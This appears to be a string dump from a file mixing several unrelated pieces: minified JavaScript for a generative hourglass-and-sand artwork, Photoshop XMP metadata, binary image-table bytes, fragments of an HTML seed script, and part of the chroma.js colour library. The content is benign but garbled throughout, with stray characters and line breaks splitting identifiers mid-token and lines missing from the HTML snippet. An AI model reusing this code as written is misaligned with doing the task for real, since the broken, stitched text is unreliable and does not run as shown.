t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
XMP DataXMP<?xpacket begin="
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.0 (Windows)" xmpMM:InstanceID="xmp.iid:0M
9EE933EACEB11EDA228EB02E147392C" xmpMM:DocumentID="xmp.did:09EE933FACEB11EDA228EB02E147392C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:09EE933CACEB11EDA228EB02E147392C" stRef:documentID="xmp.did:09EE933DACEB11EDA228EB02E147392C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"L

%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
